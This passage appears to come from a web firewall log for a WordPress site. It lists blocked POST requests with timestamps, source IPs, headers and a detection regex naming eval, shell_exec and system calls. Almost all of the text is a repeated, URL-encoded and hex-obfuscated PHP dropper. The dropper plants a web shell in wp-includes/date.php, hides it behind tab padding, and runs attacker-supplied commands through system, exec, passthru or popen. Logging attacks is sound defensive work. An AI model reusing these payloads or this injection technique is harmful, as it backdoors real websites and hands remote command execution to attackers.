data2.%252774%2527.%252765%2527.%2524data3%2529%253B%2524unit_converter2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524data2.%2524data4.%252765%2527.%2524data5.%25276c%2527.%2524data6.%2524data7.%2524data8.%2524data7.%2524data9%2529%253B%2524unit_converter3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527.%2524data8.%2524data7.%2524data9%2529%253B%2524unit_converter4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%252761%2527.%2524data2.%2524data2.%252774%2527.%2524data4.%2524data10.%2524data11%2529%253B%2524unit_converter5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%25276f%2527.%2524data12.%252765%2527.%25276e%2527%2529%253B%2524unit_converter6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524data13.%2524data10.%2524data7.%252761%2527.%25276d%2527.%2524data6.%2524data14.%2524data7.%2524data13.%25275f%2527.%2524data9.%25276f%2527.%25276e%2527.%252774%2527.%2524data7.%2524data15.%252774%2527.%2524data2%2529%253B%2524unit_converter7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524data12.%2524data9.%25276c%2527.%2524data16.%2524data2.%252765%2527%2529%253B%2524dependency_resolver%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524data17.%252765%2527.%2524data12.%2524data7.%25276e%2527.%252764%2527.%252765%2527.%2524data15.%252763%2527.%2524data1.%2524data6.%252772%2527.%2524data7.%2524data2.%25276f%2527.%2524data5.%2524data18.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524dependency_resolver%255D%2529%2529%257B%2524dependency_resolver%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524dependency_resolver%255D%2529%253Bif%2528function_exists%2528%2524unit_converter1%2529%2529%257B%2524unit_converter1%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter2%2529%2529%257Bprint%2520%2524unit_converter2%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter3%2529%2529%257B%2524unit_converter3%2528%2524dependency_resolver%252C%2524factor_component%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524factor_component%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter4%2529%2529%257B%2524unit_converter4%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter5%2529%2526%2526function_exists%2528%2524unit_converter6%2529%2526%2526function_exists%2528%2524unit_converter7%2529%2529%257B%2524pointer_binding%253D%2524unit_converter5%2528%2524dependency_resolver%252C%2522r%2522%2529%253Bif%2528%2524pointer_binding%2529%257B%2524symbol_dat%253D%2524unit_converter6%2528%2524pointer_binding%2529%253B%2524unit_converter7%2528%2524pointer_binding%2529%253Bprint%2520%2524symbol_dat%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEJfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\ncontent-length:6508\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\n\nEk=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/date.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524data1%2520%253D%2520%252779%2527%253B%2524data2%2520%253D%2520%252773%2527%253B%2524data3%2520%253D%2520%25276d%2527%253B%2524data4%2520%253D%2520%252768%2527%253B%2524data5%2520%253D%2520%25276c%2527%253B%2524data6%2520%253D%2520%25275f%2527%253B%2524data7%2520%253D%2520%252765%2527%253B%2524data8%2520%253D%2520%252778%2527%253B%2524data9%2520%253D%2520%252763%2527%253B%2524data10%2520%253D%2520%252772%2527%253B%2524data11%2520%253D%2520%252775%2527%253B%2524data12%2520%253D%2520%252770%2527%253B%2524data13%2520%253D%2520%252774%2527%253B%2524data14%2520%253D%2520%252767%2527%253B%2524data15%2520%253D%2520%25276e%2527%253B%2524data16%2520%253D%2520%25276f%2527%253B%2524data17%2520%253D%2520%252764%2527%253B%2524data18%2520%253D%2520%252776%2527%253B%2524unit_converter1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524data1.%2524data2.%252774%2527.%252765%2527.%2524data3%2529%253B%2524unit_converter2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524data2.%2524data4.%252765%2527.%2524data5.%25276c%2527.%2524data6.%2524data7.%2524data8.%2524data7.%2524data9%2529%253B%2524unit_converter3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527.%2524data8.%2524data7.%2524data9%2529%253B%2524unit_converter4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%252761%2527.%2524data2.%2524data2.%252774%2527.%2524data4.%2524data10.%2524data11%2529%253B%2524unit_converter5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%25276f%2527.%2524data12.%252765%2527.%25276e%2527%2529%253B%2524unit_converter6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524data13.%2524data10.%2524data7.%252761%2527.%25276d%2527.%2524data6.%2524data14.%2524data7.%2524data13.%25275f%2527.%2524data9.%25276f%2527.%25276e%2527.%252774%2527.%2524data7.%2524data15.%252774%2527.%2524data2%2529%253B%2524unit_converter7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524data12.%2524data9.%25276c%2527.%2524data16.%2524data2.%252765%2527%2529%253B%2524dependency_resolver%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524data17.%252765%2527.%2524data12.%2524data7.%25276e%2527.%252764%2527.%252765%2527.%2524data15.%252763%2527.%2524data1.%2524data6.%252772%2527.%2524data7.%2524data2.%25276f%2527.%2524data5.%2524data18.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524dependency_resolver%255D%2529%2529%257B%2524dependency_resolver%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524dependency_resolver%255D%2529%253Bif%2528function_exists%2528%2524unit_converter1%2529%2529%257B%2524unit_converter1%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter2%2529%2529%257Bprint%2520%2524unit_converter2%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter3%2529%2529%257B%2524unit_converter3%2528%2524dependency_resolver%252C%2524factor_component%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524factor_component%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter4%2529%2529%257B%2524unit_converter4%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter5%2529%2526%2526function_exists%2528%2524unit_converter6%2529%2526%2526function_exists%2528%2524unit_converter7%2529%2529%257B%2524pointer_binding%253D%2524unit_converter5%2528%2524dependency_resolver%252C%2522r%2522%2529%253Bif%2528%2524pointer_binding%2529%257B%2524symbol_dat%253D%2524unit_converter6%2528%2524pointer_binding%2529%253B%2524unit_converter7%2528%2524pointer_binding%2529%253Bprint%2520%2524symbol_dat%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:42:53","148.113.9.51","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> YV:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/date.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524data1%2520%253D%2520%252779%2527%253B%2524data2%2520%253D%2520%252773%2527%253B%2524data3%2520%253D%2520%25276d%2527%253B%2524data4%2520%253D%2520%252768%2527%253B%2524data5%2520%253D%2520%25276c%2527%253B%2524data6%2520%253D%2520%25275f%2527%253B%2524data7%2520%253D%2520%252765%2527%253B%2524data8%2520%253D%2520%252778%2527%253B%2524data9%2520%253D%2520%252763%2527%253B%2524data10%2520%253D%2520%252772%2527%253B%2524data11%2520%253D%2520%252775%2527%253B%2524data12%2520%253D%2520%252770%2527%253B%2524data13%2520%253D%2520%252774%2527%253B%2524data14%2520%253D%2520%252767%2527%253B%2524data15%2520%253D%2520%25276e%2527%253B%2524data16%2520%253D%2520%25276f%2527%253B%2524data17%2520%253D%2520%252764%2527%253B%2524data18%2520%253D%2520%252776%2527%253B%2524unit_converter1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524data1.%2524data2.%252774%2527.%252765%2527.%2524data3%2529%253B%2524unit_converter2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524data2.%2524data4.%252765%2527.%2524data5.%25276c%2527.%2524data6.%2524data7.%2524data8.%2524data7.%2524data9%2529%253B%2524unit_converter3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527.%2524data8.%2524data7.%2524data9%2529%253B%2524unit_converter4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%252761%2527.%2524data2.%2524data2.%252774%2527.%2524data4.%2524data10.%2524data11%2529%253B%2524unit_converter5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%25276f%2527.%2524data12.%252765%2527.%25276e%2527%2529%253B%2524unit_converter6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524data13.%2524data10.%2524data7.%252761%2527.%25276d%2527.%2524data6.%2524data14.%2524data7.%2524data13.%25275f%2527.%2524data9.%25276f%2527.%25276e%2527.%252774%2527.%2524data7.%2524data15.%252774%2527.%2524data2%2529%253B%2524unit_converter7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524data12.%2524data9.%25276c%2527.%2524data16.%2524data2.%252765%2527%2529%253B%2524dependency_resolver%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524data17.%252765%2527.%2524data12.%2524data7.%25276e%2527.%252764%2527.%252765%2527.%2524data15.%252763%2527.%2524data1.%2524data6.%252772%2527.%2524data7.%2524data2.%25276f%2527.%2524data5.%2524data18.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524dependency_resolver%255D%2529%2529%257B%2524dependency_resolver%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524dependency_resolver%255D%2529%253Bif%2528function_exists%2528%2524unit_converter1%2529%2529%257B%2524unit_converter1%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter2%2529%2529%257Bprint%2520%2524unit_converter2%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter3%2529%2529%257B%2524unit_converter3%2528%2524dependency_resolver%252C%2524factor_component%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524factor_component%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter4%2529%2529%257B%2524unit_converter4%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter5%2529%2526%2526function_exists%2528%2524unit_converter6%2529%2526%2526function_exists%2528%2524unit_converter7%2529%2529%257B%2524pointer_binding%253D%2524unit_converter5%2528%2524dependency_resolver%252C%2522r%2522%2529%253Bif%2528%2524pointer_binding%2529%257B%2524symbol_dat%253D%2524unit_converter6%2528%2524pointer_binding%2529%253B%2524unit_converter7%2528%2524pointer_binding%2529%253Bprint%2520%2524symbol_dat%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJILvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\ncontent-length:6508\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\n\nYV=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/date.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524data1%2520%253D%2520%252779%2527%253B%2524data2%2520%253D%2520%252773%2527%253B%2524data3%2520%253D%2520%25276d%2527%253B%2524data4%2520%253D%2520%252768%2527%253B%2524data5%2520%253D%2520%25276c%2527%253B%2524data6%2520%253D%2520%25275f%2527%253B%2524data7%2520%253D%2520%252765%2527%253B%2524data8%2520%253D%2520%252778%2527%253B%2524data9%2520%253D%2520%252763%2527%253B%2524data10%2520%253D%2520%252772%2527%253B%2524data11%2520%253D%2520%252775%2527%253B%2524data12%2520%253D%2520%252770%2527%253B%2524data13%2520%253D%2520%252774%2527%253B%2524data14%2520%253D%2520%252767%2527%253B%2524data15%2520%253D%2520%25276e%2527%253B%2524data16%2520%253D%2520%25276f%2527%253B%2524data17%2520%253D%2520%252764%2527%253B%2524data18%2520%253D%2520%252776%2527%253B%2524unit_converter1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524data1.%2524data2.%252774%2527.%252765%2527.%2524data3%2529%253B%2524unit_converter2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524data2.%2524data4.%252765%2527.%2524data5.%25276c%2527.%2524data6.%2524data7.%2524data8.%2524data7.%2524data9%2529%253B%2524unit_converter3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527.%2524data8.%2524data7.%2524data9%2529%253B%2524unit_converter4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%252761%2527.%2524data2.%2524data2.%252774%2527.%2524data4.%2524data10.%2524data11%2529%253B%2524unit_converter5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%25276f%2527.%2524data12.%252765%2527.%25276e%2527%2529%253B%2524unit_converter6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524data13.%2524data10.%2524data7.%252761%2527.%25276d%2527.%2524data6.%2524data14.%2524data7.%2524data13.%25275f%2527.%2524data9.%25276f%2527.%25276e%2527.%252774%2527.%2524data7.%2524data15.%252774%2527.%2524data2%2529%253B%2524unit_converter7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524data12.%2524data9.%25276c%2527.%2524data16.%2524data2.%252765%2527%2529%253B%2524dependency_resolver%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524data17.%252765%2527.%2524data12.%2524data7.%25276e%2527.%252764%2527.%252765%2527.%2524data15.%252763%2527.%2524data1.%2524data6.%252772%2527.%2524data7.%2524data2.%25276f%2527.%2524data5.%2524data18.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524dependency_resolver%255D%2529%2529%257B%2524dependency_resolver%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524dependency_resolver%255D%2529%253Bif%2528function_exists%2528%2524unit_converter1%2529%2529%257B%2524unit_converter1%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter2%2529%2529%257Bprint%2520%2524unit_converter2%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter3%2529%2529%257B%2524unit_converter3%2528%2524dependency_resolver%252C%2524factor_component%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524factor_component%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter4%2529%2529%257B%2524unit_converter4%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter5%2529%2526%2526function_exists%2528%2524unit_converter6%2529%2526%2526function_exists%2528%2524unit_converter7%2529%2529%257B%2524pointer_binding%253D%2524unit_converter5%2528%2524dependency_resolver%252C%2522r%2522%2529%253Bif%2528%2524pointer_binding%2529%257B%2524symbol_dat%253D%2524unit_converter6%2528%2524pointer_binding%2529%253B%2524unit_converter7%2528%2524pointer_binding%2529%253Bprint%2520%2524symbol_dat%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:43:08","98.130.43.189","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/date.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524data1%2520%253D%2520%252779%2527%253B%2524data2%2520%253D%2520%252773%2527%253B%2524data3%2520%253D%2520%25276d%2527%253B%2524data4%2520%253D%2520%252768%2527%253B%2524data5%2520%253D%2520%25276c%2527%253B%2524data6%2520%253D%2520%25275f%2527%253B%2524data7%2520%253D%2520%252765%2527%253B%2524data8%2520%253D%2520%252778%2527%253B%2524data9%2520%253D%2520%252763%2527%253B%2524data10%2520%253D%2520%252772%2527%253B%2524data11%2520%253D%2520%252775%2527%253B%2524data12%2520%253D%2520%252770%2527%253B%2524data13%2520%253D%2520%252774%2527%253B%2524data14%2520%253D%2520%252767%2527%253B%2524data15%2520%253D%2520%25276e%2527%253B%2524data16%2520%253D%2520%25276f%2527%253B%2524data17%2520%253D%2520%252764%2527%253B%2524data18%2520%253D%2520%252776%2527%253B%2524unit_converter1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524data1.%2524data2.%252774%2527.%252765%2527.%2524data3%2529%253B%2524unit_converter2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524data2.%2524data4.%252765%2527.%2524data5.%25276c%2527.%2524data6.%2524data7.%2524data8.%2524data7.%2524data9%2529%253B%2524unit_converter3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527.%2524data8.%2524data7.%2524data9%2529%253B%2524unit_converter4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%252761%2527.%2524data2.%2524data2.%252774%2527.%2524data4.%2524data10.%2524data11%2529%253B%2524unit_converter5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%25276f%2527.%2524data12.%252765%2527.%25276e%2527%2529%253B%2524unit_converter6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524data13.%2524data10.%2524data7.%252761%2527.%25276d%2527.%2524data6.%2524data14.%2524data7.%2524data13.%25275f%2527.%2524data9.%25276f%2527.%25276e%2527.%252774%2527.%2524data7.%2524data15.%252774%2527.%2524data2%2529%253B%2524unit_converter7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524data12.%2524data9.%25276c%2527.%2524data16.%2524data2.%252765%2527%2529%253B%2524dependency_resolver%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524data17.%252765%2527.%2524data12.%2524data7.%25276e%2527.%252764%2527.%252765%2527.%2524data15.%252763%2527.%2524data1.%2524data6.%252772%2527.%2524data7.%2524data2.%25276f%2527.%2524data5.%2524data18.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524dependency_resolver%255D%2529%2529%257B%2524dependency_resolver%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524dependency_resolver%255D%2529%253Bif%2528function_exists%2528%2524unit_converter1%2529%2529%257B%2524unit_converter1%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter2%2529%2529%257Bprint%2520%2524unit_converter2%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter3%2529%2529%257B%2524unit_converter3%2528%2524dependency_resolver%252C%2524factor_component%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524factor_component%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter4%2529%2529%257B%2524unit_converter4%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter5%2529%2526%2526function_exists%2528%2524unit_converter6%2529%2526%2526function_exists%2528%2524unit_converter7%2529%2529%257B%2524pointer_binding%253D%2524unit_converter5%2528%2524dependency_resolver%252C%2522r%2522%2529%253Bif%2528%2524pointer_binding%2529%257B%2524symbol_dat%253D%2524unit_converter6%2528%2524pointer_binding%2529%253B%2524unit_converter7%2528%2524pointer_binding%2529%253Bprint%2520%2524symbol_dat%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%